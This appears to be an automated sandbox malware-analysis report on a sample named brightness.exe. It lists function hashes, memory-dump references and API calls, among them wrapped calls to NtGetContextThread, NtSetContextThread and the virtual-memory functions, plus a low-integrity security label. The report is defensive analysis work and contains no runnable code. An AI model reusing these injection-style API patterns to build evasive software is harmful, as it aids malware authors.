Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _parse_cmdline$___initmbctable__setmbcp
String ID: C:\Windows\SysWOW64\brightness.exe
API String ID: 1290970244-24866334
Opcode ID: 53e5490ae5cf65fbc35ef23b81cf5a0e80e47133119faaf0e194a985a019dce2
Instruction ID: 4173f9497b56e447c9101dea0529b3fb31d034e48497e7ae4edc5b9a471b01ed
Opcode Fuzzy Hash: 53e5490ae5cf65fbc35ef23b81cf5a0e80e47133119faaf0e194a985a019dce2
Instruction Fuzzy Hash: 8B210A71D50199AFCB11DFA6ACC08DF7B6EEB40324FA50679E114E7140D630AE5ACB91

Function 002C6310 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtFreeVirtualMemory), ref: 002C6334
X64Call.BRIGHTNESS(00000000,00000000,00000004,?,?,?,00000000,?,00000000,?,00000000), ref: 002C639F
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C63C1

Strings

NtFreeVirtualMemory, xrefs: 002C6328

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtFreeVirtualMemory
API String ID: 3570319994-3923168862
Opcode ID: ab14387e7b7611b54bce909cc2f2eedb353430731787edb15bf14b9d051d8297
Instruction ID: 23e7170b096681aef7b07bbca056f9ca3ca0dd86e9b76c7aa9ad890519f07b02
Opcode Fuzzy Hash: ab14387e7b7611b54bce909cc2f2eedb353430731787edb15bf14b9d051d8297
Instruction Fuzzy Hash: DA2150B1D20249EFDB05DF64DC86FBAB7F9EB88700F00966DE405A7241D2705994CF90

Function 002C6160 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtQueryVirtualMemory), ref: 002C6184
X64Call.BRIGHTNESS(00000000,00000000,00000006,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002C61F1
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C6213

Strings

NtQueryVirtualMemory, xrefs: 002C6178

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtQueryVirtualMemory
API String ID: 3570319994-66515852
Opcode ID: 3bbc3ab2c059f57f8801b4224403a4187caf172d91af7a02446f1dafd83c74b5
Instruction ID: 7a03f74d91550de0c51cd13a9936bfb1b976e493ae17d7c3f097395f00c73692
Opcode Fuzzy Hash: 3bbc3ab2c059f57f8801b4224403a4187caf172d91af7a02446f1dafd83c74b5
Instruction Fuzzy Hash: FB2151B1D24208AFEB10CF98DC8AFBAB3BCEB84701F00811CF804A6291D37559A4CF61

Function 002C6690 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtGetContextThread), ref: 002C66B4
X64Call.BRIGHTNESS(00000000,00000000,00000002,?,?,?,00000000), ref: 002C66F9
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C671B

Strings

NtGetContextThread, xrefs: 002C66A8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtGetContextThread
API String ID: 3570319994-3545450881
Opcode ID: 2fe3ec63ee37a3be20edba7741b40362d6d1c8e286190c473d2fe0988b91dd7b
Instruction ID: 1be381c230a54b008c567e21fb08abc485166cf30acabd9f45d7b1ed245e9100
Opcode Fuzzy Hash: 2fe3ec63ee37a3be20edba7741b40362d6d1c8e286190c473d2fe0988b91dd7b
Instruction Fuzzy Hash: AC11A5B5930204EFDB10DF75EC8AF69B7BCEB44304F10962DF804A6250E27559A4CF20

Function 002C6740 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtSetContextThread), ref: 002C6764
X64Call.BRIGHTNESS(00000000,00000000,00000002,?,?,?,00000000), ref: 002C67A9
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C67CB

Strings

NtSetContextThread, xrefs: 002C6758

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtSetContextThread
API String ID: 3570319994-3779410840
Opcode ID: 5b568d0a37dd35c10ff1fbf185a14fcc8271a175de3be69f54890ebc31d940ec
Instruction ID: a029abd256be558643e3e9460fcfae6c1f633d4c99d0354da78c6075321bd97c
Opcode Fuzzy Hash: 5b568d0a37dd35c10ff1fbf185a14fcc8271a175de3be69f54890ebc31d940ec
Instruction Fuzzy Hash: F91170B4920308EFDB10DFA4ED8AF79B3BCF744319F005A2DE405A6141D37059A89B10

Function 002DC420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 002DC456
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 002DC470
SetNamedSecurityInfoW.ADVAPI32(00000000,00000001,00000010,00000000,00000000,00000000,00000000), ref: 002DC48C

Strings

S:(ML;;NW;;;LW), xrefs: 002DC451

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertInfoNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 2602540077-495562761
Opcode ID: 690e48ef385a721445f74c10936263ada1006cea20c07dafa274eda88b4b1df6
Instruction ID: 46412d57364ef23296dcb8033d064d208d4d7e6fce5cf1d44fe4b7ff0d3a395e
Opcode Fuzzy Hash: 690e48ef385a721445f74c10936263ada1006cea20c07dafa274eda88b4b1df6
Instruction Fuzzy Hash: 0A011E71A40209BBEB14DFD0CC55FEFB779AB44B04F204559F605AA1C0DBB5AA14CB61

Function 002E41F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 002E4619: __FF_MSGBANNER.LIBCMT ref: 002E4632
Part of subcall function 002E4619: __NMSG_WRITE.LIBCMT ref: 002E4639

std::exception::exception.LIBCMT ref: 002E4247
std::exception::exception.LIBCMT ref: 002E4261

Strings

bad allocation, xrefs: 002E4240
Ea-, xrefs: 002E425E, 002E426B, 002E426E

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
